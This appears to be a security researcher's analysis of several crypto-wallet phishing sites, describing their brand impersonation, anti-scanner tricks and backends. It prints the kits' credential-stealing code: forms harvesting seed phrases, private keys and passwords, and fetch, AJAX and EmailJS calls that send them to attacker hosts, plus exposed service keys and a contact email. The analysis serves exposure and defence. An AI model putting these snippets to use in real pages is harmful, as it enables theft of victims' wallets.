Impersonation

A fictional "decentralized protocol" for wallet validation. Uses live CryptoCompare price tickers and links to real blockchain explorers (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) for credibility. The landing page features 100+ wallet logos and a 3-step "validation" process.

The Dual Exfiltration Chain

The most sophisticated backend of all 5 — every stolen credential is sent through two independent channels simultaneously:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on [REDACTED]
  |      |
  |      +--> [REDACTED] Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

OSINT Findings

Impersonation

A pixel-perfect scrape of the real Aqualibre (AQLA) token migration page. The HTML contains a metadata tag revealing the source: data-scrapbook-source="https://token.[REDACTED]/migration", timestamped November 19, 2024.

The Zero-Code Approach

This attacker requires zero server-side code. The form posts directly to Un-static — a legitimate form backend for static sites. Every submission is forwarded to the scammer's email. The attacker's email is never visible in the source code.

<form action="https://forms.[REDACTED]/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Impersonation

The subdomain contains "safpal" — a deliberate misspelling of [REDACTED], a popular hardware wallet. The site poses as "Blockchain Wallet Rectification" with 26 fake issue categories. Uses Typed.js to animate chain names (Ethereum, BSC, Polygon...) and a LiveCoinWatch ticker for credibility.

Same Kit, Same Operator?

Uses the exact same possibly phishing template as Site #2: identical connect.html, identical wallets.html with 60+ logos, same Un-static backend (different form ID — 6f1b82c3...da9943af). The identical kit strongly suggests one operator running both sites.

Red flags in the code: "Privay Policy" (missing 'c'), "seperated" (should be "separated"), "Kestore" (missing 'y'). Password field uses type="text" instead of type="password".

Impersonation

A near-perfect clone of the Flare Network portal — a real Layer-1 EVM blockchain with FTSO and Data Connector protocols. Replicates 30+ ecosystem partners, navigation, and branding. Favicons loaded from a typosquat: [REDACTED] (one 'n' missing from "mainnet").

Dual EmailJS Redundancy

The only site using two separate EmailJS accounts simultaneously for anti-takedown redundancy:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.[REDACTED]/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Email subject for every theft: "New Wallet Details from Flare".

Site #4: paid ads, analytics tracking, and dual exfiltration — the most professional operation

Impersonation

A generic "COIN NODE" / "Wallet Fix" service (no specific brand). Copyright "Wallet Fix 2022" — this kit template is at least 4 years old. Images hosted on [REDACTED] (WordPress on AWS).

Possibly phishing-as-a-Service

The most alarming backend architecture: a UUID-based multi-tenant API:

POST https://api.[REDACTED]/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=[REDACTED]&type=phrase&phrase=buddy+surprise+vapor+river+...

Each scammer gets their own UUID endpoint. A central operator maintains the API, tracks campaigns, and potentially takes a cut of stolen funds. This is industrialized crypto theft — a Possibly phishing-as-a-Service model.

Related Infrastructure (Mostly Dead)

Impersonation

A two-pronged operation: a generic "Support Center" at [REDACTED] with 15 fake issue categories and 39 wallet brands, plus a pixel-perfect [REDACTED] onboarding clone at [REDACTED]-recovery.support hosted on Replit — complete with device model selection, PIN setup, and a 24-word seed phrase grid with real BIP39 autocomplete.

Anti-Scanner C2 Backend

The wallet support page sends stolen data to [REDACTED]/log — a custom nginx/Ubuntu C2 behind IANA #1910. The backend intentionally drops all GET requests (returns 522 timeout), responding only to POST. This means URL scanners, Google Safe Browsing crawlers, and security researchers pinging the endpoint with GET see nothing — the C2 appears dead.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.[REDACTED]",
  allowedWallets: ["[REDACTED]","solfare","[REDACTED]","[REDACTED]",
    "[REDACTED]","[REDACTED]","[REDACTED]","VARA Provisional License","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

The [REDACTED] clone runs a separate Express.js backend on Replit itself: POST /api/recovery-phrase collecting {deviceId, pin, phrase}. It returns 400 {"error":"Invalid data provided"} on malformed input — confirming the backend is live and actively validating stolen data.

OSINT Findings

Impersonation

A generic "Decentralized Launchpad" with 21 bait categories (Staking, Migration, KYC, Giveaway, Claim Rewards, Asset Recovery, Pre-sale, Mint NFTs, Locked Accounts...) and 70+ wallet brands — one of the most comprehensive wallet lists we encountered. The telltale typo "Sychronize" (missing 'n') betrays the fake.

The FormSubmit Pipeline

Uses FormSubmit.co — a legitimate form-to-email service. The endpoint hash a2cf4131f1a5d39453c7c183df96f86f is an MD5 of the scammer's email address. We brute-forced hundreds of email patterns across Gmail, Yahoo, Hotmail, ProtonMail, Yandex, and [REDACTED] — no match. The scammer uses an uncommon or randomly generated email.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

OSINT Findings

Impersonation

Unknown — both the frontend and backend are offline. Based on the payload structure, this was a crypto wallet seed phrase stealer. The IANA #1910 R2 public bucket (object storage, not Pages) is a well-documented possibly phishing vector with 5,000+ malicious pages identified and a 61x traffic increase reported by Netskope.

The Script Kiddie Setup

The most primitive operation in this collection. Seed phrases are sent word-by-word to a PHP script running on a home computer or VPS behind free Dynamic DNS:

POST [REDACTED]/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

OSINT Findings